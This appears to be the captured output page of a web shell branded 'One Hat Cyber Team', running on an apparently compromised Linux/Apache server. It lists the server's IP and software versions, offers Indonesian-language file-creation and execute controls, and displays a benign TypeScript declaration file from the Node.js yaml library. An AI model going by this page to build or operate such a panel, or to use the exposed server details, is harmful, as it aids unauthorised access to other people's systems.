⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
nodejs
/
yaml
/
dist
/
nodes
/
View File Name :
Node.d.ts
import type { Document } from '../doc/Document.js'; import { Token } from '../parse/cst.js'; import type { StringifyContext } from '../stringify/stringify.js'; import type { Alias } from './Alias.js'; import type { Pair } from './Pair.js'; import type { Scalar } from './Scalar.js'; import type { YAMLMap } from './YAMLMap.js'; import type { YAMLSeq } from './YAMLSeq.js'; export declare type Node<T = unknown> = Alias | Scalar<T> | YAMLMap<unknown, T> | YAMLSeq<T>; /** Utility type mapper */ export declare type NodeType<T> = T extends string | number | bigint | boolean | null ? Scalar<T> : T extends Array<any> ? YAMLSeq<NodeType<T[number]>> : T extends { [key: string]: any; } ? YAMLMap<NodeType<keyof T>, NodeType<T[keyof T]>> : T extends { [key: number]: any; } ? YAMLMap<NodeType<keyof T>, NodeType<T[keyof T]>> : Node; export declare type ParsedNode = Alias.Parsed | Scalar.Parsed | YAMLMap.Parsed | YAMLSeq.Parsed; export declare type Range = [number, number, number]; export declare const ALIAS: unique symbol; export declare const DOC: unique symbol; export declare const MAP: unique symbol; export declare const PAIR: unique symbol; export declare const SCALAR: unique symbol; export declare const SEQ: unique symbol; export declare const NODE_TYPE: unique symbol; export declare const isAlias: (node: any) => node is Alias; export declare const isDocument: <T extends Node<unknown> = Node<unknown>>(node: any) => node is Document<T>; export declare const isMap: <K = unknown, V = unknown>(node: any) => node is YAMLMap<K, V>; export declare const isPair: <K = unknown, V = unknown>(node: any) => node is Pair<K, V>; export declare const isScalar: <T = unknown>(node: any) => node is Scalar<T>; export declare const isSeq: <T = unknown>(node: any) => node is YAMLSeq<T>; export declare function isCollection<K = unknown, V = unknown>(node: any): node is YAMLMap<K, V> | YAMLSeq<V>; export declare function isNode<T = unknown>(node: any): node is Node<T>; export declare const hasAnchor: <K = unknown, V = unknown>(node: unknown) => node is Scalar<V> | YAMLMap<K, V> | YAMLSeq<V>; export declare abstract class NodeBase { readonly [NODE_TYPE]: symbol; /** A comment on or immediately after this */ comment?: string | null; /** A comment before this */ commentBefore?: string | null; /** * The `[start, value-end, node-end]` character offsets for the part of the * source parsed into this node (undefined if not parsed). The `value-end` * and `node-end` positions are themselves not included in their respective * ranges. */ range?: Range | null; /** A blank line before this node and its commentBefore */ spaceBefore?: boolean; /** The CST token that was composed into this node. */ srcToken?: Token; /** A fully qualified tag, if required */ tag?: string; /** A plain JS representation of this node */ abstract toJSON(): any; abstract toString(ctx?: StringifyContext, onComment?: () => void, onChompKeep?: () => void): string; constructor(type: symbol); /** Create a copy of this node. */ clone(): NodeBase; }